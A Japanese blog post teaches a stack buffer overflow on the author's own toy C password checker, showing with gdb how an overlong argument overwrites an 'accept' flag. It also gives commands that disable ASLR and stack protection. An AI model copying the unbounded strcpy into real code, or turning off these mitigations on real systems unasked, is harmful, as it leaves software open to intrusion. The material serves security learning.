読者です 読者をやめる 読者になる 読者になる

るくすの日記 ~ Out_Of_Range ~

主にプログラミング関係

バッファオーバーフロー

競技やったりセキュリティ勉強したりといろいろな分野に手を出しすぎている感は否めませんが、とりあえず今回はセキュリティのことについて書きます。

脆弱性としてもっとも基本的なものとして「バッファオーバーフロー」が挙げられます。自分の書いたプログラムでちょっと実験してみます

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int check(char *pass){
  int accept=0;
  char pass_buffer[16];
  strcpy(pass_buffer,pass);
  if(strcmp(pass_buffer,"RKX1209")==0) accept=1;
  return accept;
}
int main(int argc,char *argv[]){
  if(argc<2){
    printf("使用方法:%s <パスワード>\n",argv[0]);
    exit(0);
  }
  if(check(argv[1])){
    printf("\n=-=-=-=-=-=-=-=-=-=-=\n");
    printf("アクセスを許可します\n");
    printf("\n=-=-=-=-=-=-=-=-=-=-=\n");
  }else{
    printf("アクセスを拒否しました\n");
  }
}

これは正しいパスワードを入力すると「アクセスを許可」と表示し、違うなら「アクセスを拒否」と出力するだけの極単純な物です。 実行結果は以下のとおりです。

$./a.out hoge
アクセスを拒否しました

$./a.out aaa
アクセスを拒否しました

$./a.out RKX1209
=-=-=-=-=-=-=-=-=-=-=
アクセスを許可します

=-=-=-=-=-=-=-=-=-=-=

しかしこのプログラム、一見普通そうですが結構まずい脆弱性を含んでいたりします。

とりあえずgdbを使って解析してみましょう

(gdb) list
3	#include<string.h>
4	int check(char *pass){
5	  int accept=0;
6	  char pass_buffer[16];
7	  strcpy(pass_buffer,pass);
8	  if(strcmp(pass_buffer,"RKX1209")==0) accept=1;
9	  return accept;
10	}
11	int main(int argc,char *argv[]){
12	  if(argc<2){

(gdb) break 9
Breakpoint 1 at 0x80484c1: file paswd.c, line 9.

(gdb) run hoge
Starting program: /home/rkx/Programing/C/a.out hoge

Breakpoint 1, check (pass=0xbffff5af "hoge") at paswd.c:9
9	  return accept;

(gdb) x/s pass_buffer
0xbffff32c:	 "hoge"

(gdb) x/x &accept
0xbffff33c:	0x00

(gdb) x/16xw pass_buffer
0xbffff32c:	0x65676f68	0x0029df00	0x08049ff4	0xbffff368
0xbffff33c:	0x00000000	0x00170cbd	0x0029e324	0xbffff368
0xbffff34c:	0x08048507	0xbffff5af	0x0011ea50	0x0804854b
0xbffff35c:	0x0029dff4	0x08048540	0x00000000	0xbffff3e8

pass_bufferがacceptよりも低位アドレスにあります。
通常、関数などの局所変数はスタックセグメントに高位アドレスから低位アドレスにむけて積まれていくので、当然といえば当然の結果なのですが...

ここまでわかれば後はこちらの物です。

(gdb) break 9
Breakpoint 1 at 0x80484c1: file paswd.c, line 9.

(gdb) run AAAAAAAAAAAAAAAAAAAAA
Starting program: /home/rkx/Programing/C/a.out AAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, check (pass=0xbffff59e 'A' <repeats 21 times>) at paswd.c:9
9	  return accept;

(gdb) x/16xw pass_buffer
0xbffff31c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff32c:	0x41414141	0x00170041	0x0029e324	0xbffff358
0xbffff33c:	0x08048507	0xbffff59e	0x0011ea50	0x0804854b
0xbffff34c:	0x0029dff4	0x08048540	0x00000000	0xbffff3d8

ここからも分かるようにこれで通ってしまいます。
実際に実行してみても

&./a.out AAAAAAAAAAAAAAAAAAAAA

=-=-=-=-=-=-=-=-=-=-=
アクセスを許可します

=-=-=-=-=-=-=-=-=-=-=

となり、本来の正しいパスワードを入力しなくてもアクセスが許可されてしまいました。



「余談」
このバッファオーバーフローはよく使用される脆弱性です。そのためOSごとにこの脆弱性をカバーするための対策が講じられていることが結構多いです。(ちなみに自分もこの対策に振り回されましたw)

自分が今使用しているOSは

DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=11.04
DISTRIB_CODENAME=natty
DISTRIB_DESCRIPTION="Ubuntu 11.04"

なのですが、こいつはちゃんとバッファオーバーフロー対策をしていて例えば先ほどのプログラムを解析すると、

(gdb) run AAAAAAAAAAAA
Starting program: /home/rkx/Programing/C/a.out AAAAAAAAAAAA
Breakpoint 2, check (pass=0xbffff5a7 'A' <repeats 12 times>) at paswd.c:9
9	  return accept;

(gdb) x/s pass_buffer
0xbffff31c:	 'A' <repeats 12 times>

(gdb) x/x &accept
0xbffff318:	0x00

(gdb) x/16xw pass_buffer
0xbffff31c:	0x41414141	0x41414141	0x41414141	0xbffff300
0xbffff32c:	0x8d5d0100	0x0015ecbd	0x0028c324	0xbffff358
0xbffff33c:	0x08048579	0xbffff5a7	0x0011ea50	0x080485cb
0xbffff34c:	0x0028bff4	0x080485c0	0x00000000	0xbffff3d8
(gdb) quit


ソースコードを変えても必ずpass_bufferがacceptよりも高位アドレスになるようになっています。 おそらくこれはバッファオーバーフロー対策なんだろうということで、ちょっとググってみると...
「最新のUbuntuなどではバッファオーバーフローアタックを防御するための機構がある]ということが判明。

やっぱり..orz ということでさらにググっていると..

$ sudo sysctl -w kernel.randomize_va_space=0
$ gcc -g -fno-stack-protector -z execstack test.c

でこの対策を解除できるらしい ということで解除してやっと成功しました



結論: 基本的なセキュリティ対策って案外見えないところでされてるんですね